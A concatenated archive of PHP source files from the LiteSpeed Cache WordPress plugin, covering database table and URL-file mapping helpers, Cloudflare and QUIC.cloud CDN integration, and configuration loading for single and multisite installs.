self::TB_AVATAR; case 'crawler': return $wpdb->prefix . self::TB_CRAWLER; case 'crawler_blacklist': return $wpdb->prefix . self::TB_CRAWLER_BLACKLIST; case 'url': return $wpdb->prefix . self::TB_URL; case 'url_file': return $wpdb->prefix . self::TB_URL_FILE; default: return null; } } /** * Check if a table exists. * * @since 3.0 * @access public * * @param string $tb Table slug. * @return bool */ public function tb_exist( $tb ) { global $wpdb; $save_state = $wpdb->suppress_errors; $wpdb->suppress_errors( true ); $describe = $wpdb->get_var( 'DESCRIBE `' . $this->tb( $tb ) . '`' ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->suppress_errors( $save_state ); return null !== $describe; } /** * Get the SQL structure (columns/indexes) for a given table slug. * * @since 2.0 * @access private * * @param string $tb Table slug. * @return string SQL columns/indexes definition. */ private function _tb_structure( $tb ) { return File::read( LSCWP_DIR . 'src/data_structure/' . $tb . '.sql' ); } /** * Create a table by slug if it doesn't exist. * * @since 3.0 * @access public * * @param string $tb Table slug. * @return void */ public function tb_create( $tb ) { global $wpdb; self::debug2( '[Data] Checking table ' . $tb ); // Check if table exists first. if ( $this->tb_exist( $tb ) ) { self::debug2( '[Data] Existed' ); return; } self::debug( 'Creating ' . $tb ); $sql = sprintf( 'CREATE TABLE IF NOT EXISTS `%1$s` (%2$s) %3$s;', $this->tb( $tb ), $this->_tb_structure( $tb ), $wpdb->get_charset_collate() ); $res = $wpdb->query( $sql ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared if ( false === $res ) { self::debug( 'Warning! Creating table failed!', $sql ); Admin_Display::error( Error::msg( 'failed_tb_creation', [ '' . $tb . '', '' . $sql . '' ] ) ); } } /** * Drop a table by slug. * * @since 3.0 * @access public * * @param string $tb Table slug. * @return void */ public function tb_del( $tb ) { global $wpdb; if ( ! $this->tb_exist( $tb ) ) { return; } self::debug( 'Deleting table ' . $tb ); $q = 'DROP TABLE IF EXISTS ' . $this->tb( $tb ); $wpdb->query( $q ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared } /** * Drop all generated tables (except image optimization working tables). * * @since 3.0 * @access public * @return void */ public function tables_del() { $this->tb_del( 'avatar' ); $this->tb_del( 'crawler' ); $this->tb_del( 'crawler_blacklist' ); $this->tb_del( 'url' ); $this->tb_del( 'url_file' ); // Deleting img_optm only can be done when destroy all optm images } /** * TRUNCATE a table by slug. * * @since 4.0 * @access public * * @param string $tb Table slug. * @return void */ public function table_truncate( $tb ) { global $wpdb; $q = 'TRUNCATE TABLE ' . $this->tb( $tb ); $wpdb->query( $q ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared } /** * Clean URL-file rows for a given file type and prune orphaned URLs. * * @since 4.0 * @access public * * @param string $file_type One of 'css','js','ccss','ucss'. * @return void */ public function url_file_clean( $file_type ) { global $wpdb; if ( ! $this->tb_exist( 'url_file' ) ) { return; } if ( ! isset( $this->_url_file_types[ $file_type ] ) ) { return; } $type = $this->_url_file_types[ $file_type ]; $tb_url = $this->tb( 'url' ); $tb_url_file = $this->tb( 'url_file' ); // Delete all of this type. $q = "DELETE FROM `$tb_url_file` WHERE `type` = %d"; $wpdb->query( $wpdb->prepare( $q, $type ) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared // Prune orphaned rows in URL table. $sql = "DELETE d FROM `{$tb_url}` AS d LEFT JOIN `{$tb_url_file}` AS f ON d.`id` = f.`url_id` WHERE f.`url_id` IS NULL"; $wpdb->query( $sql ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared } /** * Persist (or rotate) the mapping from URL+vary to a generated file. * * @since 4.0 * @access public * * @param string $request_url Full request URL. * @param string $vary Vary string (may be long; will be md5 if >32). * @param string $file_type One of 'css','js','ccss','ucss'. * @param string $filecon_md5 MD5 of the generated file content. * @param string $path Base path where files live. * @param bool $mobile Whether mapping is for mobile. * @param bool $webp Whether mapping is for webp. * @return void */ public function save_url( $request_url, $vary, $file_type, $filecon_md5, $path, $mobile = false, $webp = false ) { global $wpdb; if ( strlen( $vary ) > 32 ) { $vary = md5( $vary ); } if ( ! isset( $this->_url_file_types[ $file_type ] ) ) { return; } $type = $this->_url_file_types[ $file_type ]; $tb_url = $this->tb( 'url' ); $tb_url_file = $this->tb( 'url_file' ); // Ensure URL row exists. $q = "SELECT * FROM `$tb_url` WHERE url=%s"; $url_row = $wpdb->get_row( $wpdb->prepare( $q, $request_url ), ARRAY_A ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared if ( ! $url_row ) { $q = "INSERT INTO `$tb_url` SET url=%s"; $wpdb->query( $wpdb->prepare( $q, $request_url ) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared $url_id = (int) $wpdb->insert_id; } else { $url_id = (int) $url_row['id']; } // Active mapping (not expired). $q = "SELECT * FROM `$tb_url_file` WHERE url_id=%d AND vary=%s AND type=%d AND expired=0"; $file_row = $wpdb->get_row( $wpdb->prepare( $q, [ $url_id, $vary, $type ] ), ARRAY_A ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared // No change needed if filename matches. if ( $file_row && $file_row['filename'] === $filecon_md5 ) { return; } // If the new file MD5 is currently marked expired elsewhere, clear those records. $q = "DELETE FROM `$tb_url_file` WHERE filename = %s AND expired > 0"; $wpdb->query( $wpdb->prepare( $q, $filecon_md5 ) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared // If another live row already uses the same filename, switch current row to that filename. if ( $file_row ) { $q = "SELECT id FROM `$tb_url_file` WHERE filename = %s AND expired = 0 AND id != %d LIMIT 1"; $exists_id = $wpdb->get_var( $wpdb->prepare( $q, [ $file_row['filename'], (int) $file_row['id'] ] ) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared if ( $exists_id ) { $q = "UPDATE `$tb_url_file` SET filename=%s WHERE id=%d"; $wpdb->query( $wpdb->prepare( $q, [ $filecon_md5, (int) $file_row['id'] ] ) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared return; } } // Insert a new mapping row. $q = "INSERT INTO `$tb_url_file` SET url_id=%d, vary=%s, filename=%s, type=%d, mobile=%d, webp=%d, expired=0"; $wpdb->query( $wpdb->prepare( $q, [ $url_id, $vary, $filecon_md5, $type, $mobile ? 1 : 0, $webp ? 1 : 0 ] ) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared // Mark previous mapping as expiring (to be deleted later). if ( $file_row ) { $q = "UPDATE `$tb_url_file` SET expired=%d WHERE id=%d"; $expired = time() + ( 86400 * apply_filters( 'litespeed_url_file_expired_days', 20 ) ); $wpdb->query( $wpdb->prepare( $q, [ $expired, (int) $file_row['id'] ] ) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared // Delete already-expired files for this URL. $q = "SELECT * FROM `$tb_url_file` WHERE url_id = %d AND expired BETWEEN 1 AND %d"; $q = $wpdb->prepare( $q, [ $url_id, time() ] ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared $list = $wpdb->get_results( $q, ARRAY_A ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared if ( $list ) { foreach ( $list as $v ) { $ext = 'js' === $file_type ? 'js' : 'css'; $file_to_del = trailingslashit( $path ) . $v['filename'] . '.' . $ext; if ( file_exists( $file_to_del ) ) { self::debug( 'Delete expired unused file: ' . $file_to_del ); wp_delete_file( $file_to_del ); } } $q = "DELETE FROM `$tb_url_file` WHERE url_id = %d AND expired BETWEEN 1 AND %d"; $wpdb->query( $wpdb->prepare( $q, [ $url_id, time() ] ) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared } } } /** * Load the stored filename (md5) for a given URL/vary/type, if active. * * @since 4.0 * @access public * * @param string $request_url Full request URL or tag. * @param string $vary Vary string (may be md5 if previously stored). * @param string $file_type One of 'css','js','ccss','ucss'. * @return string|false Filename md5 (without extension) or false if none. */ public function load_url_file( $request_url, $vary, $file_type ) { global $wpdb; if ( strlen( $vary ) > 32 ) { $vary = md5( $vary ); } if ( ! isset( $this->_url_file_types[ $file_type ] ) ) { return false; } $type = $this->_url_file_types[ $file_type ]; self::debug2( 'load url file: ' . $request_url ); $tb_url = $this->tb( 'url' ); $q = "SELECT * FROM `$tb_url` WHERE url=%s"; $url_row = $wpdb->get_row( $wpdb->prepare( $q, $request_url ), ARRAY_A ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared if ( ! $url_row ) { return false; } $url_id = (int) $url_row['id']; $tb_url_file = $this->tb( 'url_file' ); $q = "SELECT * FROM `$tb_url_file` WHERE url_id=%d AND vary=%s AND type=%d AND expired=0"; $file_row = $wpdb->get_row( $wpdb->prepare( $q, [ $url_id, $vary, $type ] ), ARRAY_A ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared if ( ! $file_row ) { return false; } return $file_row['filename']; } /** * Mark all UCSS entries of one URL as expired (optionally return existing rows). * * @since 4.5 * @access public * * @param string $request_url Target URL. * @param bool $auto_q If true, return existing active rows before expiring. * @return array Existing rows if $auto_q, otherwise empty array. */ public function mark_as_expired( $request_url, $auto_q = false ) { global $wpdb; $tb_url = $this->tb( 'url' ); self::debug( 'Try to mark as expired: ' . $request_url ); $q = "SELECT * FROM `$tb_url` WHERE url=%s"; $url_row = $wpdb->get_row( $wpdb->prepare( $q, $request_url ), ARRAY_A ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared if ( ! $url_row ) { return []; } self::debug( 'Mark url_id=' . $url_row['id'] . ' as expired' ); $tb_url_file = $this->tb( 'url_file' ); $existing_url_files = []; if ( $auto_q ) { $q = "SELECT a.*, b.url FROM `$tb_url_file` a LEFT JOIN `$tb_url` b ON b.id=a.url_id WHERE a.url_id=%d AND a.type=%d AND a.expired=0"; $q = $wpdb->prepare( $q, [ (int) $url_row['id'], $this->_url_file_types['ucss'] ] ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared $existing_url_files = $wpdb->get_results( $q, ARRAY_A ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared } $q = "UPDATE `$tb_url_file` SET expired=%d WHERE url_id=%d AND type=%d AND expired=0"; $expired = time() + 86400 * apply_filters( 'litespeed_url_file_expired_days', 20 ); $wpdb->query( $wpdb->prepare( $q, [ $expired, (int) $url_row['id'], $this->_url_file_types['ucss'] ] ) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared return $existing_url_files; } /** * Merge CSS excludes from file into the given list. * * @since 3.6 * * @param array $list_in Existing list. * @return array */ public function load_css_exc( $list_in ) { $data = $this->_load_per_line( 'css_excludes.txt' ); if ( $data ) { $list_in = array_unique( array_filter( array_merge( $list_in, $data ) ) ); } return $list_in; } /** * Merge CCSS selector whitelist from file into the given list. * * @since 7.1 * * @param array $list_in Existing list. * @return array */ public function load_ccss_whitelist( $list_in ) { $data = $this->_load_per_line( 'ccss_whitelist.txt' ); if ( $data ) { $list_in = array_unique( array_filter( array_merge( $list_in, $data ) ) ); } return $list_in; } /** * Merge UCSS whitelist from file into the given list. * * @since 4.0 * * @param array $list_in Existing list. * @return array */ public function load_ucss_whitelist( $list_in ) { $data = $this->_load_per_line( 'ucss_whitelist.txt' ); if ( $data ) { $list_in = array_unique( array_filter( array_merge( $list_in, $data ) ) ); } return $list_in; } /** * Merge JS excludes from file into the given list. * * @since 3.5 * * @param array $list_in Existing list. * @return array */ public function load_js_exc( $list_in ) { $data = $this->_load_per_line( 'js_excludes.txt' ); if ( $data ) { $list_in = array_unique( array_filter( array_merge( $list_in, $data ) ) ); } return $list_in; } /** * Merge JS defer excludes from file into the given list. * * @since 3.6 * * @param array $list_in Existing list. * @return array */ public function load_js_defer_exc( $list_in ) { $data = $this->_load_per_line( 'js_defer_excludes.txt' ); if ( $data ) { $list_in = array_unique( array_filter( array_merge( $list_in, $data ) ) ); } return $list_in; } /** * Merge OPTM URI excludes from file into the given list. * * @since 5.4 * * @param array $list_in Existing list. * @return array */ public function load_optm_uri_exc( $list_in ) { $data = $this->_load_per_line( 'optm_uri_exc.txt' ); if ( $data ) { $list_in = array_unique( array_filter( array_merge( $list_in, $data ) ) ); } return $list_in; } /** * Merge ESI nonces from file into the given list. * * @since 3.5 * * @param array $list_in Existing list. * @return array */ public function load_esi_nonces( $list_in ) { $data = $this->_load_per_line( 'esi.nonces.txt' ); if ( $data ) { $list_in = array_unique( array_filter( array_merge( $list_in, $data ) ) ); } return $list_in; } /** * Merge "nocacheable" cache keys from file into the given list. * * @since 6.3.0.1 * * @param array $list_in Existing list. * @return array */ public function load_cache_nocacheable( $list_in ) { $data = $this->_load_per_line( 'cache_nocacheable.txt' ); if ( $data ) { $list_in = array_unique( array_filter( array_merge( $list_in, $data ) ) ); } return $list_in; } /** * Load a data file and return non-empty lines, stripping comments. * * Supports: * - `# comment` * - `##comment` * * @since 3.5 * @access private * * @param string $file Relative filename under the plugin /data directory. * @return array */ private function _load_per_line( $file ) { $data = File::read( LSCWP_DIR . 'data/' . $file ); $data = explode( PHP_EOL, $data ); $list = []; foreach ( $data as $v ) { // Drop two kinds of comments. if ( false !== strpos( $v, '##' ) ) { $v = trim( substr( $v, 0, strpos( $v, '##' ) ) ); } if ( false !== strpos( $v, '# ' ) ) { $v = trim( substr( $v, 0, strpos( $v, '# ' ) ) ); } if ( ! $v ) { continue; } $list[] = $v; } return $list; } } cdn/cloudflare.cls.php000064400000020360152077520300010723 0ustar00 */ namespace LiteSpeed\CDN; use LiteSpeed\Base; use LiteSpeed\Debug2; use LiteSpeed\Router; use LiteSpeed\Admin; use LiteSpeed\Admin_Display; defined('WPINC') || exit(); /** * Class Cloudflare * * @since 2.1 */ class Cloudflare extends Base { const TYPE_PURGE_ALL = 'purge_all'; const TYPE_GET_DEVMODE = 'get_devmode'; const TYPE_SET_DEVMODE_ON = 'set_devmode_on'; const TYPE_SET_DEVMODE_OFF = 'set_devmode_off'; const ITEM_STATUS = 'status'; /** * Update zone&name based on latest settings * * @since 3.0 * @access public */ public function try_refresh_zone() { if (!$this->conf(self::O_CDN_CLOUDFLARE)) { return; } $zone = $this->fetch_zone(); if ($zone) { $this->cls('Conf')->update(self::O_CDN_CLOUDFLARE_NAME, $zone['name']); $this->cls('Conf')->update(self::O_CDN_CLOUDFLARE_ZONE, $zone['id']); Debug2::debug("[Cloudflare] Get zone successfully \t\t[ID] " . $zone['id']); } else { $this->cls('Conf')->update(self::O_CDN_CLOUDFLARE_ZONE, ''); Debug2::debug('[Cloudflare] ❌ Get zone failed, clean zone'); } } /** * Get Cloudflare development mode * * @since 1.7.2 * @access private * @param bool $show_msg Whether to show success/error message. */ private function get_devmode( $show_msg = true ) { Debug2::debug('[Cloudflare] get_devmode'); $zone = $this->zone(); if (!$zone) { return; } $url = 'https://api.cloudflare.com/client/v4/zones/' . $zone . '/settings/development_mode'; $res = $this->cloudflare_call($url, 'GET', false, $show_msg); if (!$res) { return; } Debug2::debug('[Cloudflare] get_devmode result ', $res); // Make sure is array: #992174 $curr_status = self::get_option(self::ITEM_STATUS, array()); if ( ! is_array( $curr_status ) ) { $curr_status = array(); } $curr_status['devmode'] = $res['value']; $curr_status['devmode_expired'] = (int) $res['time_remaining'] + time(); // update status self::update_option(self::ITEM_STATUS, $curr_status); } /** * Set Cloudflare development mode * * @since 1.7.2 * @access private * @param string $type The type of development mode to set (on/off). */ private function set_devmode( $type ) { Debug2::debug('[Cloudflare] set_devmode'); $zone = $this->zone(); if (!$zone) { return; } $url = 'https://api.cloudflare.com/client/v4/zones/' . $zone . '/settings/development_mode'; $new_val = self::TYPE_SET_DEVMODE_ON === $type ? 'on' : 'off'; $data = array( 'value' => $new_val ); $res = $this->cloudflare_call($url, 'PATCH', $data); if (!$res) { return; } $res = $this->get_devmode(false); if ($res) { $msg = sprintf(__('Notified Cloudflare to set development mode to %s successfully.', 'litespeed-cache'), strtoupper($new_val)); Admin_Display::success($msg); } } /** * Shortcut to purge Cloudflare * * @since 7.1 * @access public * @param string|bool $reason The reason for purging, or false if none. */ public static function purge_all( $reason = false ) { if ($reason) { Debug2::debug('[Cloudflare] purge call because: ' . $reason); } self::cls()->purge_all_private(); } /** * Purge Cloudflare cache * * @since 1.7.2 * @access private */ private function purge_all_private() { Debug2::debug('[Cloudflare] purge_all_private'); $cf_on = $this->conf(self::O_CDN_CLOUDFLARE); if (!$cf_on) { $msg = __('Cloudflare API is set to off.', 'litespeed-cache'); Admin_Display::error($msg); return; } $zone = $this->zone(); if (!$zone) { return; } $url = 'https://api.cloudflare.com/client/v4/zones/' . $zone . '/purge_cache'; $data = array( 'purge_everything' => true ); $res = $this->cloudflare_call($url, 'DELETE', $data); if ($res) { $msg = __('Notified Cloudflare to purge all successfully.', 'litespeed-cache'); Admin_Display::success($msg); } } /** * Get current Cloudflare zone from cfg * * @since 1.7.2 * @access private */ private function zone() { $zone = $this->conf(self::O_CDN_CLOUDFLARE_ZONE); if (!$zone) { $msg = __('No available Cloudflare zone', 'litespeed-cache'); Admin_Display::error($msg); return false; } return $zone; } /** * Get Cloudflare zone settings * * @since 1.7.2 * @access private */ private function fetch_zone() { $kw = $this->conf(self::O_CDN_CLOUDFLARE_NAME); $url = 'https://api.cloudflare.com/client/v4/zones?status=active&match=all'; // Try exact match first if ($kw && false !== strpos($kw, '.')) { $zones = $this->cloudflare_call($url . '&name=' . $kw, 'GET', false, false); if ($zones) { Debug2::debug('[Cloudflare] fetch_zone exact matched'); return $zones[0]; } } // Can't find, try to get default one $zones = $this->cloudflare_call($url, 'GET', false, false); if (!$zones) { Debug2::debug('[Cloudflare] fetch_zone no zone'); return false; } if (!$kw) { Debug2::debug('[Cloudflare] fetch_zone no set name, use first one by default'); return $zones[0]; } foreach ($zones as $v) { if (false !== strpos($v['name'], $kw)) { Debug2::debug('[Cloudflare] fetch_zone matched ' . $kw . ' [name] ' . $v['name']); return $v; } } // Can't match current name, return default one Debug2::debug('[Cloudflare] fetch_zone failed match name, use first one by default'); return $zones[0]; } /** * Cloudflare API * * @since 1.7.2 * @access private * @param string $url The API URL to call. * @param string $method The HTTP method to use (GET, POST, etc.). * @param array|bool $data The data to send with the request, or false if none. * @param bool $show_msg Whether to show success/error message. */ private function cloudflare_call( $url, $method = 'GET', $data = false, $show_msg = true ) { Debug2::debug("[Cloudflare] cloudflare_call \t\t[URL] $url"); /** * Detect key type: Global API Key (37-char hex) vs API Token (Bearer) * @since 1.9.0 */ $cf_key = $this->conf( self::O_CDN_CLOUDFLARE_KEY ); if ( strlen( $cf_key ) === 37 && preg_match( '/^[0-9a-f]+$/', $cf_key ) ) { $headers = [ 'Content-Type' => 'application/json', 'X-Auth-Email' => $this->conf( self::O_CDN_CLOUDFLARE_EMAIL ), 'X-Auth-Key' => $cf_key, ]; } else { $headers = [ 'Content-Type' => 'application/json', 'Authorization' => 'Bearer ' . $cf_key, ]; } $wp_args = array( 'method' => $method, 'headers' => $headers, ); if ($data) { if (is_array($data)) { $data = wp_json_encode($data); } $wp_args['body'] = $data; } add_filter( 'http_api_curl', $fn = function ( $handle ) { defined( 'CURLOPT_SSL_ENABLE_ALPN' ) && \curl_setopt( $handle, CURLOPT_SSL_ENABLE_ALPN, false ); return $handle; }, 9999 ); $resp = wp_remote_request( $url, $wp_args ); remove_filter( 'http_api_curl', $fn, 9999 ); if (is_wp_error($resp)) { Debug2::debug('[Cloudflare] error in response'); if ($show_msg) { $msg = __('Failed to communicate with Cloudflare', 'litespeed-cache'); Admin_Display::error($msg); } return false; } $result = wp_remote_retrieve_body($resp); $json = \json_decode($result, true); if ($json && $json['success'] && $json['result']) { Debug2::debug('[Cloudflare] cloudflare_call called successfully'); if ($show_msg) { $msg = __('Communicated with Cloudflare successfully.', 'litespeed-cache'); Admin_Display::success($msg); } return $json['result']; } Debug2::debug("[Cloudflare] cloudflare_call called failed: $result"); if ($show_msg) { $msg = __('Failed to communicate with Cloudflare', 'litespeed-cache'); Admin_Display::error($msg); } return false; } /** * Handle all request actions from main cls * * @since 1.7.2 * @access public */ public function handler() { $type = Router::verify_type(); switch ($type) { case self::TYPE_PURGE_ALL: $this->purge_all_private(); break; case self::TYPE_GET_DEVMODE: $this->get_devmode(); break; case self::TYPE_SET_DEVMODE_ON: case self::TYPE_SET_DEVMODE_OFF: $this->set_devmode($type); break; default: break; } Admin::redirect(); } } cdn/quic.cls.php000064400000006022152077520300007543 0ustar00force = $force; } if (!$this->conf(self::O_CDN_QUIC)) { if (!empty($cloud_summary['conf_md5'])) { self::debug('❌ No QC CDN, clear conf md5!'); Cloud::save_summary(array( 'conf_md5' => '' )); } return false; } // Notice: Sync conf must be after `wp_loaded` hook, to get 3rd party vary injected (e.g. `woocommerce_cart_hash`). if (!did_action('wp_loaded')) { add_action('wp_loaded', array( $this, 'try_sync_conf' ), 999); self::debug('WP not loaded yet, delay sync to wp_loaded:999'); return; } $options = $this->get_options(); $options['_tp_cookies'] = apply_filters('litespeed_vary_cookies', array()); // Build necessary options only $options_needed = array( self::O_CACHE_DROP_QS, self::O_CACHE_EXC_COOKIES, self::O_CACHE_EXC_USERAGENTS, self::O_CACHE_LOGIN_COOKIE, self::O_CACHE_VARY_COOKIES, self::O_CACHE_MOBILE_RULES, self::O_CACHE_MOBILE, self::O_CACHE_BROWSER, self::O_CACHE_TTL_BROWSER, self::O_IMG_OPTM_WEBP, self::O_GUEST, '_tp_cookies', ); $consts_needed = array( 'LSWCP_TAG_PREFIX' ); $options_for_md5 = array(); foreach ($options_needed as $v) { if (isset($options[$v])) { $options_for_md5[$v] = $options[$v]; // Remove overflow multi lines fields if (is_array($options_for_md5[$v]) && count($options_for_md5[$v]) > 30) { $options_for_md5[$v] = array_slice($options_for_md5[$v], 0, 30); } } } $server_vars = $this->server_vars(); foreach ($consts_needed as $v) { if (isset($server_vars[$v])) { if (empty($options_for_md5['_server'])) { $options_for_md5['_server'] = array(); } $options_for_md5['_server'][$v] = $server_vars[$v]; } } $conf_md5 = md5(wp_json_encode($options_for_md5)); if (!empty($cloud_summary['conf_md5'])) { if ($conf_md5 === $cloud_summary['conf_md5']) { if (!$this->force) { self::debug('Bypass sync conf to QC due to same md5', $conf_md5); return; } self::debug('!!!Force sync conf even same md5'); } else { self::debug('[conf_md5] ' . $conf_md5 . ' [existing_conf_md5] ' . $cloud_summary['conf_md5']); } } Cloud::save_summary(array( 'conf_md5' => $conf_md5 )); self::debug('sync conf to QC'); Cloud::post(Cloud::SVC_D_SYNC_CONF, $options_for_md5); } } conf.cls.php000064400000047040152077520300006770 0ustar00 */ private $_updated_ids = []; /** * Whether current blog is the network primary site. * * @var bool */ private $_is_primary = false; /** * Specify init logic to avoid infinite loop when calling conf.cls instance * * @since 3.0 * @access public * @return void */ public function init() { // Check if conf exists or not. If not, create them in DB (won't change version if is converting v2.9- data) // Conf may be stale, upgrade later $this->_conf_db_init(); /** * Detect if has quic.cloud set * * @since 2.9.7 */ if ( $this->conf( self::O_CDN_QUIC ) ) { if ( ! defined( 'LITESPEED_ALLOWED' ) ) { define( 'LITESPEED_ALLOWED', true ); } } add_action( 'litespeed_conf_append', [ $this, 'option_append' ], 10, 2 ); add_action( 'litespeed_conf_force', [ $this, 'force_option' ], 10, 2 ); $this->define_cache(); } /** * Init conf related data * * @since 3.0 * @access private * @return void */ private function _conf_db_init() { /** * Try to load options first, network sites can override this later * * NOTE: Load before run `conf_upgrade()` to avoid infinite loop when getting conf in `conf_upgrade()` */ $this->load_options(); // Check if debug is on // Init debug as early as possible if ( $this->conf( Base::O_DEBUG ) ) { $this->cls( 'Debug2' )->init(); } $ver = $this->conf( self::_VER ); /** * Version is less than v3.0, or, is a new installation */ $ver_check_tag = 'new'; if ( $ver ) { if ( ! defined( 'LSCWP_CUR_V' ) ) { define( 'LSCWP_CUR_V', $ver ); } /** * Upgrade conf */ if ( Core::VER !== $ver ) { // Plugin version will be set inside // Site plugin upgrade & version change will do in load_site_conf $ver_check_tag = Data::cls()->conf_upgrade( $ver ); } } /** * Sync latest new options */ if ( ! $ver || Core::VER !== $ver ) { // Load default values $this->load_default_vals(); if ( ! $ver ) { // New install $this->set_conf( self::$_default_options ); $ver_check_tag .= ' activate' . ( defined( 'LSCWP_REF' ) ? '_' . constant( 'LSCWP_REF' ) : '' ); } // Init new default/missing options foreach ( self::$_default_options as $k => $v ) { // If the option existed, bypass updating // Bcos we may ask clients to deactivate for debug temporarily, we need to keep the current cfg in deactivation, hence we need to only try adding default cfg when activating. self::add_option( $k, $v ); } // Force correct version in case a rare unexpected case that `_ver` exists but empty self::update_option( Base::_VER, Core::VER ); if ( $ver_check_tag ) { Cloud::version_check( $ver_check_tag ); } } /** * Network sites only * * Override conf if is network subsites and chose `Use Primary Config` */ $this->_try_load_site_options(); // Check if debug is on // Init debug as early as possible if ( $this->conf( Base::O_DEBUG ) ) { $this->cls( 'Debug2' )->init(); } // Mark as conf loaded if ( ! defined( 'LITESPEED_CONF_LOADED' ) ) { define( 'LITESPEED_CONF_LOADED', true ); } if ( ! $ver || Core::VER !== $ver ) { // Only trigger once in upgrade progress, don't run always $this->update_confs(); // Files only get corrected in activation or saving settings actions. } } /** * Load all latest options from DB * * @since 3.0 * @access public * * @param int|null $blog_id Blog ID to load from. Null for current. * @param bool $dry_run Return options instead of setting them. * @return array|void */ public function load_options( $blog_id = null, $dry_run = false ) { $options = []; foreach ( self::$_default_options as $k => $v ) { if ( null !== $blog_id ) { $options[ $k ] = self::get_blog_option( $blog_id, $k, $v ); } else { $options[ $k ] = self::get_option( $k, $v ); } // Correct value type. $options[ $k ] = $this->type_casting( $options[ $k ], $k ); } if ( $dry_run ) { return $options; } // Bypass site special settings if ( null !== $blog_id ) { // This is to load the primary settings ONLY // These options are the ones that can be overwritten by primary $options = array_diff_key( $options, array_flip( self::$single_site_options ) ); $this->set_primary_conf( $options ); } else { $this->set_conf( $options ); } // Append const options if ( defined( 'LITESPEED_CONF' ) && LITESPEED_CONF ) { foreach ( self::$_default_options as $k => $v ) { $const = Base::conf_const( $k ); if ( defined( $const ) ) { $this->set_const_conf( $k, $this->type_casting( constant( $const ), $k ) ); } } } } /** * For multisite installations, the single site options need to be updated with the network wide options. * * @since 1.0.13 * @access private * @return void */ private function _try_load_site_options() { if ( ! $this->_if_need_site_options() ) { return; } $this->_conf_site_db_init(); $this->_is_primary = BLOG_ID_CURRENT_SITE === get_current_blog_id(); // If network set to use primary setting if ( $this->network_conf( self::NETWORK_O_USE_PRIMARY ) && ! $this->_is_primary ) { // subsites or network admin // Get the primary site settings // If it's just upgraded, 2nd blog is being visited before primary blog, can just load default config (won't hurt as this could only happen shortly) $this->load_options( BLOG_ID_CURRENT_SITE ); } // Overwrite single blog options with site options foreach ( self::$_default_options as $k => $v ) { if ( ! $this->has_network_conf( $k ) ) { continue; } // $this->_options[ $k ] = $this->_network_options[ $k ]; // Special handler to `Enable Cache` option if the value is set to OFF if ( self::O_CACHE === $k ) { if ( $this->_is_primary ) { if ( $this->conf( $k ) !== $this->network_conf( $k ) ) { if ( self::VAL_ON2 !== $this->conf( $k ) ) { continue; } } } elseif ( $this->network_conf( self::NETWORK_O_USE_PRIMARY ) ) { if ( $this->has_primary_conf( $k ) && self::VAL_ON2 !== $this->primary_conf( $k ) ) { // This case will use primary_options override always continue; } } elseif ( self::VAL_ON2 !== $this->conf( $k ) ) { continue; } } // primary_options will store primary settings + network settings, OR, store the network settings for subsites $this->set_primary_conf( $k, $this->network_conf( $k ) ); } // var_dump($this->_options); } /** * Check if needs to load site_options for network sites * * @since 3.0 * @access private * @return bool */ private function _if_need_site_options() { if ( ! is_multisite() ) { return false; } // Check if needs to use site_options or not // todo: check if site settings are separate bcos it will affect .htaccess /** * In case this is called outside the admin page * * @see https://codex.wordpress.org/Function_Reference/is_plugin_active_for_network * @since 2.0 */ if ( ! function_exists( 'is_plugin_active_for_network' ) ) { require_once ABSPATH . '/wp-admin/includes/plugin.php'; } // If is not activated on network, it will not have site options if ( ! is_plugin_active_for_network( Core::PLUGIN_FILE ) ) { if ( self::VAL_ON2 === (int) $this->conf( self::O_CACHE ) ) { // Default to cache on $this->set_conf( self::_CACHE, true ); } return false; } return true; } /** * Init site conf and upgrade if necessary * * @since 3.0 * @access private * @return void */ private function _conf_site_db_init() { $this->load_site_options(); $ver = $this->network_conf( self::_VER ); /** * Don't upgrade or run new installations other than from backend visit * In this case, just use default conf */ if ( ! $ver || Core::VER !== $ver ) { if ( ! is_admin() && ! defined( 'LITESPEED_CLI' ) ) { $this->set_network_conf( $this->load_default_site_vals() ); return; } } /** * Upgrade conf */ if ( $ver && Core::VER !== $ver ) { // Site plugin version will change inside Data::cls()->conf_site_upgrade( $ver 